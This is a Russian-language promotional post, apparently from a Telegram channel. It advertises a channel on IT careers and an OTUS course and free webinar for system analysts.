#проектирование ➿➿➿➿➿➿➿➿➿➿ 🧑‍🎓 Больше полезного в базе знаний по системному анализу

💬Хочешь обсудить то, о чём на хабре не напишут? Аналитик из финтеха запустил пространство для честных дебатов о реальной жизни в IT 💥 Темы, которые взрывают комментарии: — Нужен ли код, чтобы войти в IT или хватит башки и вменяемого резюме — Испыталка: играть в покерфейс или быть собой — Системный анализ - это не профессия, это выживание 👇 Подписывайся и включайся: Подписаться на канал

⚠️Профессия системного аналитика продолжает меняться: появляются новые инструменты, растут требования к качеству решений, усиливается роль аналитика в проектировании архитектуры и взаимодействии с бизнесом. При этом одни навыки становятся критически важными для карьерного роста, а другие постепенно превращаются в базовый минимум. ✅Мы подготовили для вас актуальную программу обучения на курсе «Системный аналитик. Управление командой» Изучите программу обучения на сайте. 🎁Записывайтесь на бесплатный вебинар: «Какие навыки прокачать, чтобы стать экспертом в системном анализе в 2026 году». ⏰25 июня в 20:00 мск Задайте вопросы спикеру и познакомьтесь подробнее с программой обучения на живом вебинаре! Перейти на сайт ➡️ OTUS.RU Реклама. ООО «Отус онлайн-образование», ОГРН 1177746618576